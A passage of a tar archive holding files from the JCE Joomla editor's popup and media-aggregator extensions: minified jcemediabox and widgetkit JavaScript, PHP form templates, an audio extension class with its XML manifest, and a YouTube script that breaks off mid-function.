com_jce/editor/extensions/popups/jcemediabox/css/jcemediabox.css000060400000000076152453734450021217 0ustar00#jcemediabox_popup_height,#jcemediabox_popup_width{width:65px}com_jce/editor/extensions/popups/jcemediabox/css/index.html000060400000000054152453734450020224 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/jcemediabox/js/index.html000060400000000054152453734450020050 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/jcemediabox/js/jcemediabox.js000060400000017151152453734450020671 0ustar00/* jce - 2.9.20 | 2022-02-10 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
JCEMediaBox={Popup:{addons:{},setAddons:function(n,o){"undefined"==typeof this.addons[n]&&(this.addons[n]={}),$.extend(this.addons[n],o)},getAddons:function(n){return n?this.addons[n]:this.addons},getAddon:function(v,n){var r,cp=!1,addons=this.getAddons(n);return $.each(addons,function(addon,o){var fn=o[addon]||function(){};r=fn.call(this,v),"undefined"!=typeof r&&(cp=r)}),cp}},trim:function(s){return $.trim(s)}},WFPopups.addPopup("jcemediabox",{params:{popup_group:"",popup_icon:1,popup_icon_position:"",popup_autopopup:"",popup_hide:0,popup_mediatype:""},setup:function(){var self=this;$("#jcemediabox_popup_icon").on("change",function(){self.setIcon()}),$.each(this.params,function(k,v){"popup_icon_position"===k&&(v=v.replace("icon-","zoom-")),$("#jcemediabox_"+k).val(v)})},check:function(n){return/(jce(popup|_popup|lightbox)|wfpopup)/.test(n.className)||n.getAttribute("data-mediabox")},getMediaType:function(n){var mt;switch(n.type){case"image/gif":case"image/jpeg":case"image/png":case"image/*":case"image":mt="image";break;case"iframe":mt="iframe";break;case"director":case"application/x-director":mt="application/x-director";break;case"windowsmedia":case"mplayer":case"application/x-mplayer2":mt="application/x-mplayer2";break;case"quicktime":case"video/quicktime":mt="video/quicktime";break;case"real":case"realaudio":case"audio/x-pn-realaudio-plugin":mt="audio/x-pn-realaudio-plugin";break;case"divx":case"video/divx":mt="video/divx";break;case"flash":case"application/x-shockwave-flash":mt="application/x-shockwave-flash";break;case"ajax":case"text/xml":case"text/html":mt="text/html"}if(!mt&&n.href){JCEMediaBox.options={popup:{google_viewer:0,pdfjs:0}};var o=JCEMediaBox.Popup.getAddon(n.href);o&&o.type&&(mt=o.type)}return mt||n.type||""},getImageType:function(s){var e=/\.(jp(eg|g)|png|bmp|gif|tiff)$/.exec(s);return e?("jpg"===e[1]&&(e[1]="jpeg"),"image/"+e[1]):"image/jpeg"},remove:function(n){var ed=tinyMCEPopup.editor;$.each(["jcepopup","jcelightbox","jcebox","icon-left","icon-right","icon-top-left","icon-top-right","icon-bottom-left","icon-bottom-right","zoom-left","zoom-right","zoom-top-left","zoom-top-right","zoom-bottom-left","zoom-bottom-right","noicon","noshow","autopopup-single","autopopup-multiple"],function(i,v){ed.dom.removeClass(n,v)}),ed.dom.setAttrib(n,"data-mediabox",null),ed.dom.setAttrib(n,"data-mediabox-title",null),ed.dom.setAttrib(n,"data-mediabox-caption",null),ed.dom.setAttrib(n,"data-mediabox-group",null)},convertData:function(s){function trim(s){return s.replace(/:"([^"]+)"/,function(a,b){return':"'+b.replace(/^\s+|\s+$/,"").replace(/\s*::\s*/,"::")+'"'})}if(/^{[\w\W]+}$/.test(s))return $.parseJSON(trim(s));if(/\w+\[[^\]]+\]/.test(s)){var data={};return tinymce.each(tinymce.explode(s,";"),function(p){var args=p.match(/([\w-]+)\[(.*)\]$/);args&&3===args.length&&(data[args[1]]=args[2])}),data}return{}},getAttributes:function(n,index,callback){var rv,v,ed=tinyMCEPopup.editor,data={},rel=ed.dom.getAttrib(n,"rel"),icon=/noicon/g.test(n.className),hide=/noshow/g.test(n.className);if(/(autopopup(.?|-single|-multiple))/.test(n.className)&&(v=/autopopup-multiple/.test(n.className)?"autopopup-multiple":"autopopup-single",$("#jcemediabox_popup_autopopup").val(v)),$("#jcemediabox_popup_icon").val(icon?0:1),$("#jcemediabox_popup_icon_position").prop("disabled",icon),$("#jcemediabox_popup_hide").val(hide?1:0),s=/(zoom|icon)-(top-right|top-left|bottom-right|bottom-left|left|right)/.exec(n.className)){var v=s[0];v&&(v=v.replace("icon-","zoom-"),$("#jcemediabox_popup_icon_position").val(v))}var relRX=/(^|\\s+)alternate|stylesheet|start|next|prev|contents|index|glossary|copyright|chapter|section|subsection|appendix|help|bookmark|nofollow|noopener|noreferrer|licence|tag|friend(\\s+|$)/gi,json=ed.dom.getAttrib(n,"data-json")||ed.dom.getAttrib(n,"data-mediabox");if(json&&(data=this.convertData(json)),rel&&/\w+\[.*\]/.test(rel)){var ra="";(rv=relRX.exec(rel))&&(ra=rv[1],rel=rel.replace(relRX,"")),/^\w+\[/.test(rel)&&(data=this.convertData($.trim(rel))||{},data.rel=ra)}else{var group=$.trim(rel.replace(relRX,""));$("#jcemediabox_popup_group").val(group)}if($.isEmptyObject(data)&&$.each(ed.dom.getAttribs(n),function(i,at){var name=at.name||at.nodeName;if(name&&name.indexOf("data-mediabox-")!==-1){var k=name.substr(14);data[k]=ed.dom.getAttrib(n,name)}}),data.title&&/::/.test(data.title)){var parts=data.title.split("::");parts.length>1&&(data.caption=parts[1]),data.title=parts[0]}$.each(data,function(k,v){if($("#jcemediabox_popup_"+k).get(0)&&""!==v){if("title"==k||"caption"==k||"group"==k)try{v=decodeURIComponent(v)}catch(e){}v=tinymce.DOM.decode(v),$("#jcemediabox_popup_"+k).val(v).trigger("change"),"title"!=k&&"caption"!=k||$('input[name^="jcemediabox_popup_'+k+'"]').eq(index).val(v),delete data[k]}}),$.each(["href","type","data-mediabox-width","data-mediabox-height"],function(i,name){var val=ed.dom.getAttrib(n,name);val&&("href"===name&&(name="src"),0===name.indexOf("data-mediabox-")&&(name=name.substr(14)),data[name]=val)}),data=callback(data);var x=0;return $.each(data,function(k,v){if("src"==k)return!0;if(""!==v){try{v=decodeURIComponent(v)}catch(e){}var n=$(".uk-repeatable","#jcemediabox_popup_params").eq(0);x>0&&$(n).clone(!0).appendTo($(n).parent());var elements=$(".uk-repeatable","#jcemediabox_popup_params").eq(x).find("input, select");$(elements).eq(0).val(k),$(elements).eq(1).val(v)}x++}),$("#jcemediabox_popup_mediatype").val(this.getMediaType(n)),data},setAttributes:function(n,args,index){var ed=tinyMCEPopup.editor;index=index||0,this.remove(n),index=index||0,ed.dom.addClass(n,"jcepopup"),ed.dom.setAttrib(n,"data-mediabox",1);var auto=$("#jcemediabox_popup_autopopup").val();auto&&ed.dom.addClass(n,auto);var data={};args.title&&(ed.dom.setAttrib(n,"title",args.title),delete args.title),$.each(["group","width","height","title","caption"],function(i,k){var v=$("#jcemediabox_popup_"+k).val()||args[k]||"";if("title"==k||"caption"==k){var mv=$('input[name^="jcemediabox_popup_'+k+'"]').eq(index).val();"undefined"!=typeof mv&&(v=mv)}data[k]=v}),$(".uk-repeatable","#jcemediabox_popup_params").each(function(){var k=$('input[name^="jcemediabox_popup_params_name"]',this).val(),v=$('input[name^="jcemediabox_popup_params_value"]',this).val();""!==k&&""!==v&&(data[k]=v)}),data=$.extend(data,args.data||{});var mt=$("#jcemediabox_popup_mediatype").val()||n.type||args.type||"";"image"==mt&&(mt=this.getImageType(n.href)),ed.dom.setAttrib(n,"type",mt),data.type&&delete data.type;var rel=ed.dom.getAttrib(n,"rel","");rel&&(rel=rel.replace(/([a-z0-9]+)(\[([^\]]+)\]);?/gi,"")),$(".uk-repeatable","#jcemediabox_popup_params").each(function(){var elements=$("input, select",this),key=$(elements).eq(0).val(),value=$(elements).eq(1).val();data[key]=value});var i,attrs=n.attributes;for(i=attrs.length-1;i>=0;i--){var attrName=attrs[i].name;attrName&&attrName.indexOf("data-mediabox-")!==-1&&n.removeAttribute(attrName)}$.each(data,function(k,v){return"src"==k||void ed.dom.setAttrib(n,"data-mediabox-"+k,v)}),ed.dom.setAttrib(n,"rel",$.trim(rel)),0==$("#jcemediabox_popup_icon").val()?ed.dom.addClass(n,"noicon"):ed.dom.addClass(n,$("#jcemediabox_popup_icon_position").val()),1==$("#jcemediabox_popup_hide").val()&&ed.dom.addClass(n,"noshow")},setIcon:function(){var v=$("#jcemediabox_popup_icon").val();parseInt(v)?$("#jcemediabox_popup_icon_position").prop("disabled",!1).removeAttr("disabled"):$("#jcemediabox_popup_icon_position").attr("disabled","disabled")},onSelect:function(){},onSelectFile:function(args){$.each(args,function(k,v){$("#jcemediabox_popup_"+k).val(v)})}});com_jce/editor/extensions/popups/jcemediabox/tmpl/default.php000060400000023503152453734450020554 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
    <div class="uk-form-row uk-grid uk-grid-small">
        <label for="jcemediabox_popup_title" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_OPTION_TITLE_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_OPTION_TITLE'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
          <input id="jcemediabox_popup_title" class="uk-input-multiple" type="text" class="text" value="" />
        </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
        <label for="jcemediabox_popup_caption" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_CAPTION_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_CAPTION'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
          <input id="jcemediabox_popup_caption" class="uk-input-multiple" type="text" class="text" value="" />
        </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
        <label for="jcemediabox_popup_group" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_GROUP_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_GROUP'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
          <input id="jcemediabox_popup_group" type="text" class="text" value="" />
        </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
            <label class="hastip uk-form-label uk-width-1-5" title="<?php echo Text::_('WF_LABEL_DIMENSIONS_DESC'); ?>">
                <?php echo Text::_('WF_LABEL_DIMENSIONS'); ?>
            </label>
            <div class="uk-form-controls uk-grid uk-grid-collapse uk-width-4-5 uk-form-constrain">

                <div class="uk-form-controls">
                    <input type="text" id="jcemediabox_popup_width" value="" class="uk-text-center" />
                </div>

                <div class="uk-form-controls">
                    <strong class="uk-form-label uk-text-center uk-vertical-align-middle">&times;</strong>
                </div>

                <div class="uk-form-controls">
                    <input type="text" id="jcemediabox_popup_height" value="" class="uk-text-center" />
                </div>

                <label class="uk-form-label">
                    <input class="uk-constrain-checkbox" type="checkbox" checked />
                    <?php echo Text::_('WF_LABEL_PROPORTIONAL'); ?>
                </label>
            </div>
        </div>

    <div class="uk-form-row uk-grid uk-grid-small">
        <label for="jcemediabox_popup_icon" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_ICON_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_ICON'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
            <div class="uk-width-1-5">
              <select id="jcemediabox_popup_icon">
                  <option value="0"><?php echo Text::_('JNO'); ?></option>
                  <option value="1" selected="selected"><?php echo Text::_('JYES'); ?></option>
              </select>
            </div>
            <div class="uk-width-3-5 uk-margin-left">
              <label for="jcemediabox_popup_icon_position" class="uk-form-label uk-width-2-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_ICON_POSITION_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_ICON_POSITION'); ?></label>
              <div class="uk-form-controls uk-width-3-5">
                <select id="jcemediabox_popup_icon_position">
                    <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                    <option value="zoom-left"><?php echo Text::_('WF_OPTION_LEFT'); ?></option>
                    <option value="zoom-right"><?php echo Text::_('WF_OPTION_RIGHT'); ?></option>
                    <option value="zoom-top-left"><?php echo Text::_('WF_OPTION_TOP_LEFT'); ?></option>
                    <option value="zoom-top-right"><?php echo Text::_('WF_OPTION_TOP_RIGHT'); ?></option>
                    <option value="zoom-bottom-left"><?php echo Text::_('WF_OPTION_BOTTOM_LEFT'); ?></option>
                    <option value="zoom-bottom-right"><?php echo Text::_('WF_OPTION_BOTTOM_RIGHT'); ?></option>
                </select>
              </div>
            </div>
        </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
        <label for="jcemediabox_popup_hide" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_HIDE_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_HIDE'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
            <div class="uk-width-1-5">
                <select id="jcemediabox_popup_hide">
                      <option value="0"><?php echo Text::_('JNO'); ?></option>
                      <option value="1"><?php echo Text::_('JYES'); ?></option>
                </select>
            </div>
            <div class="uk-width-3-5 uk-margin-left">
                <label for="jcemediabox_popup_autopopup" class="uk-form-label uk-width-2-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_AUTO_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_AUTO'); ?></label>
                <div class="uk-form-controls uk-width-3-5">
                    <select id="jcemediabox_popup_autopopup">
                        <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                        <option value="autopopup-single"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_AUTO_SINGLE'); ?></option>
                        <option value="autopopup-multiple"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_AUTO_MULTIPLE'); ?></option>
                    </select>
                </div>
            </div>
        </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
        <label for="jcemediabox_popup_mediatype" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_MEDIATYPE_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_MEDIATYPE'); ?></label>
        <div class="uk-form-controls uk-width-2-5">
          <select id="jcemediabox_popup_mediatype">
                <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="text/html"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_INTERNAL'); ?></option>
                <option value="iframe"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_EXTERNAL'); ?></option>
                <option value="image"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_IMAGE'); ?></option>
                <option value="video/youtube"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_YOUTUBE'); ?></option>
                <option value="video/vimeo"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_VIMEO'); ?></option>
                <option value="application/x-shockwave-flash"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_FLASH'); ?></option>
                <option value="video/quicktime"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_QUICKTIME'); ?></option>
                <option value="application/x-mplayer2"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_WINDOWSMEDIA'); ?></option>
                <option value="video/divx"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_DIVX'); ?></option>
                <option value="application/x-director"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_DIRECTOR'); ?></option>
                <option value="audio/x-pn-realaudio-plugin"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_REAL'); ?></option>
                <option value="video/mp4"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_VIDEO_MP4'); ?></option>
                <option value="audio/mp3"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_AUDIO_MP3'); ?></option>
                <option value="video/webm"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_VIDEO_WEBM'); ?></option>
                <option value="audio/webm"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_AUDIO_WEBM'); ?></option>
            </select>
        </div>
    </div>
    <div class="uk-form-row uk-grid uk-grid-small">
        <label for="jcemediabox_popup_params" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUPS_JCEMEDIABOX_PARAMS_DESC'); ?>"><?php echo Text::_('WF_POPUPS_JCEMEDIABOX_PARAMS'); ?></label>
        <div class="uk-width-4-5" id="jcemediabox_popup_params">
          <div class="uk-form-row uk-repeatable">
                  <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
                      <label class="uk-form-label uk-width-1-6"><?php echo Text::_('WF_LABEL_NAME'); ?></label>
                      <div class="uk-form-controls uk-width-1-3">
                        <input type="text" name="jcemediabox_popup_params_name[]" />
                      </div>
                      <label class="uk-form-label uk-width-1-6"><?php echo Text::_('WF_LABEL_VALUE'); ?></label>
                      <div class="uk-form-controls uk-width-1-3">
                        <input type="text" name="jcemediabox_popup_params_value[]" />
                      </div>
                  </div>
                  <div class="uk-form-controls uk-margin-small-left">
                    <button class="uk-button uk-button-link uk-repeatable-create" aria-label="<?php echo Text::_('WF_LABEL_ADD'); ?>" title="<?php echo Text::_('WF_LABEL_ADD'); ?>"><i class="uk-icon-plus"></i></button>
                    <button class="uk-button uk-button-link uk-repeatable-delete" aria-label="<?php echo Text::_('WF_LABEL_REMOVE'); ?>" title="<?php echo Text::_('WF_LABEL_REMOVE'); ?>"><i class="uk-icon-trash"></i></button>
                  </div>
          </div>
        </div>
    </div>
com_jce/editor/extensions/popups/jcemediabox/tmpl/index.html000060400000000054152453734450020410 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/jcemediabox/index.html000060400000000054152453734450017434 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/widgetkit2/js/index.html000060400000000054152453734450017653 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/widgetkit2/js/widgetkit.js000060400000005323152453734450020213 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function(){WFPopups.addPopup('widgetkit2',{params:{lightbox_keyboard:'',lightbox_duration:'',lightbox_group:''},setup:function(){$.each(this.params,function(k,v){$('#widgetkit_'+k).val(v);});},check:function(n){return n.getAttribute('data-lightbox')||n.getAttribute('data-uk-lightbox');},remove:function(n){tinyMCEPopup.editor.dom.setAttribs(n,{'data-lightbox':null,'data-uk-lightbox':null,'data-lightbox-type':null});},str2json:function(str,notevil){try{if(notevil){return JSON.parse(str.replace(/([\$\w]+)\s*:/g,function(_,$1){return'"'+$1+'":';}).replace(/'([^']+)'/g,function(_,$1){return'"'+$1+'"';}));}else{return(new Function("","var json = "+str+"; return JSON.parse(JSON.stringify(json));"))();}}catch(e){return false;}},convertData:function(s){if(s.indexOf('{')===0){var start=(s?s.indexOf("{"):-1),options={};if(start!=-1){try{options=this.str2json(string.substr(start));}catch(e){}}
return options;}else{var a=[];$.each(s.split(';'),function(i,n){if(n){n=n.replace(/([\w]+):(.*)/,'"$1":"$2"');a.push(n);}});return $.parseJSON('{'+a.join(',')+'}');}},getAttributes:function(n){var ed=tinyMCEPopup.editor,args={};var data=ed.dom.getAttrib(n,'data-lightbox')||ed.dom.getAttrib(n,'data-uk-lightbox');if(data&&data!=="on"){data=this.convertData(data);$.each(data,function(k,v){$('#widgetkit_lightbox_'+k).val(v);});}
$('#widgetkit_lightbox_title').val(ed.dom.getAttrib(n,'title'));var map=WFPopups.config.map||{'href':'src'};$.each(map,function(from,to){var href=ed.dom.getAttrib(n,from);href=href.replace(/(\?|&)tmpl=component/i,'');$('#'+to).val(href);args.src=href;});return args;},setAttributes:function(n,args){var self=this,ed=tinyMCEPopup.editor,data=[];this.remove(n);tinymce.each(['group','keyboard','duration'],function(k){var v=$('#widgetkit_lightbox_'+k).val();if(v==''||v==null){if(args[k]){v=args[k];}else{return;}}
data.push(k+':'+v);});if(args.data){$.each(args.data,function(k,v){data.push(k+':'+v);});}
var src=ed.dom.getAttrib(n,'href');if(/index\.php/.test(src)&&/:\/\//.test(src)===false){if(/\?/.test(src)){src+='&tmpl=component';}else{src+='?tmpl=component';}
ed.dom.setAttrib(n,'href',src);}
var value="on";if(data.length){value=$.map(data,function(s){var v=s.split(':');return"{"+v[0]+":'"+v[1]+"'}";}).join(',');}
var type=$('#widgetkit_lightbox_type').val();if(type){ed.dom.setAttrib(n,'data-lightbox-type',type);}
ed.dom.setAttrib(n,'data-uk-lightbox',value);ed.dom.setAttrib(n,'title',$('#widgetkit_lightbox_title').val());ed.dom.setAttrib(n,'target','_blank');},onSelect:function(){},onSelectFile:function(args){}});})();com_jce/editor/extensions/popups/widgetkit2/css/widgetkit.css000060400000000575152453734450020547 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
#popup_extension_widgetkit input[type="text"]{width:250px;}#popup_extension_widgetkit #widgetkit_lightbox_title{width:350px;}#popup_extension_widgetkit select{width:auto;}com_jce/editor/extensions/popups/widgetkit2/css/index.html000060400000000054152453734450020027 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/widgetkit2/index.html000060400000000054152453734450017237 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/widgetkit2/tmpl/index.html000060400000000054152453734450020213 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/widgetkit2/tmpl/default.php000060400000004133152453734450020355 0ustar00<?php
/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
defined('_WF_EXT') or die('RESTRICTED');
?>
<table border="0" cellpadding="3" cellspacing="0">
    <tr>
        <td><label for="widgetkit_lightbox_title" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WIDGETKIT_BOXTITLE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_BOXTITLE'); ?></label></td>
        <td colspan="3"><input id="widgetkit_lightbox_title" type="text" class="text" value="" /></td>
    </tr>
    <tr>
        <td><label for="widgetkit_lightbox_group" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WIDGETKIT_GROUP_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_GROUP'); ?></label></td>
        <td colspan="3"><input id="widgetkit_lightbox_group" type="text" class="text" value="" /></td>
    </tr>
    <tr>
        <td><label for="widgetkit_lightbox_type" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WIDGETKIT_TYPE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_TYPE'); ?></label></td>
        <td>
            <select id="widgetkit_lightbox_type">
                <option value=""><?php echo WFText::_('WF_POPUPS_WIDGETKIT_DETECT'); ?></option>
                <option value="image"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_IMAGE'); ?></option>
                <option value="video"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_VIDEO'); ?></option>
                <option value="youtube"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_YOUTUBE'); ?></option>
                <option value="vimeo"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_VIMEO'); ?></option>
                <!--option value="iframe"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_IFRAME'); ?></option-->
            </select>
        </td>
    </tr>
</table>com_jce/editor/extensions/aggregator/audio.php000060400000004200152453734450015570 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFAggregatorExtension_Audio extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('audio', 'extensions/aggregator/audio/js');
    }

    public function isEnabled()
    {
        return true;
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        $defaults = array(
            'controls' => (int) $plugin->getParam('aggregator.audio.controls', 1),
            'loop' => (int) $plugin->getParam('aggregator.audio.loop', 0),
            'autoplay' => (int) $plugin->getParam('aggregator.audio.autoplay', 0),
            'muted' => (int) $plugin->getParam('aggregator.audio.mute', 0),
        );

        $attributes = $plugin->getParam('aggregator.audio.attributes', '');

        if ($attributes) {            
            $defaults['attributes'] = $this->getCustomDefaultAttributes($attributes);
        }

        return $defaults;
    }

    public function getEmbedData($data, $url)
    {
        $params = $this->getParams();

        $default = array(
            'controls' => 1,
            'loop' => 0,
            'autoplay' => 0,
            'muted' => 0,
        );

        foreach ($params as $name => $value) {
            if ($default[$name] === $value) {
                continue;
            }

            if ($name == 'attributes') {
                $data[$name] = $value;
                continue;
            }

            if ($value !== '') {
                $data[$name] = $value;
            }
        }

        $data['src'] = $url;

        return $data;
    }
}
com_jce/editor/extensions/aggregator/audio.xml000060400000003376152453734450015616 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_AGGREGATOR_AUDIO_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_AUDIO_DESC</description>
	<files>
		<filename>audio.php</filename>
		<folder>audio</folder>
	</files>
	<fields name="audio">
		<fieldset name="aggregator.audio">
			<field name="controls" type="yesno" default="1"  label="WF_AGGREGATOR_AUDIO_CONTROLS" description="WF_AGGREGATOR_AUDIO_CONTROLS_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="loop" type="yesno" default="0"  label="WF_AGGREGATOR_AUDIO_LOOP" description="WF_AGGREGATOR_AUDIO_LOOP_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="autoplay" type="yesno" default="0"  label="WF_AGGREGATOR_AUDIO_AUTOPLAY" description="WF_AGGREGATOR_AUDIO_AUTOPLAY_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="mute" type="yesno" default="0"  label="WF_AGGREGATOR_AUDIO_MUTE" description="WF_AGGREGATOR_AUDIO_MUTE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="attributes" type="keyvalue" default="" label="WF_PARAM_CUSTOM_ATTRIBUTES" description="WF_PARAM_CUSTOM_ATTRIBUTES_DESC" boolean="true" />
		</fieldset>
	</fields>
	<plugins></plugins>
</extension>
com_jce/editor/extensions/aggregator/index.html000060400000000054152453734450015756 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/youtube/index.html000060400000000054152453734450017452 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/youtube/js/index.html000060400000000054152453734450020066 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/youtube/js/youtube.js000060400000007441152453734450020132 0ustar00/* jce - 2.9.20 | 2022-02-10 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("youtube",{params:{width:560,height:315,embed:!0},props:{rel:1,autoplay:0,controls:1,modestbranding:0,enablejsapi:0,loop:0,playlist:"",start:"",end:"",privacy:0},setup:function(){$.each(this.params,function(k,v){$("#youtube_"+k).val(v).filter(":checkbox, :radio").prop("checked",!!v)})},getTitle:function(){return this.title||this.name},getType:function(){return $("#youtube_embed:visible").is(":checked")?"flash":"iframe"},isSupported:function(v){return"object"==typeof v&&(v=v.src||v.data||""),!!/youtu(\.)?be(.+)?\/(.+)/.test(v)&&"youtube"},getValues:function(src){var id,self=this,data={},args={},type=this.getType(),query={},u=this.parseURL(src);u.query&&(query=Wf.String.query(u.query)),$.extend(args,query),src=src.replace(/^(http:)?\/\//,"https://"),$(":input","#youtube_options").not("#youtube_embed, #youtube_https, #youtube_privacy").each(function(){var k=$(this).attr("id"),v=$(this).val();return!k||(k=k.substr(k.indexOf("_")+1),$(this).is(":checkbox")&&(v=$(this).is(":checked")?1:0),void(self.props[k]!=v&&""!==v&&(args[k]=v)))}),src=src.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){return d=d.replace(/(watch\?v=|v\/|embed\/)/,""),b&&!c&&(c=".com"),id=d.replace(/([^\?&#]+)/,function($0,$1){return 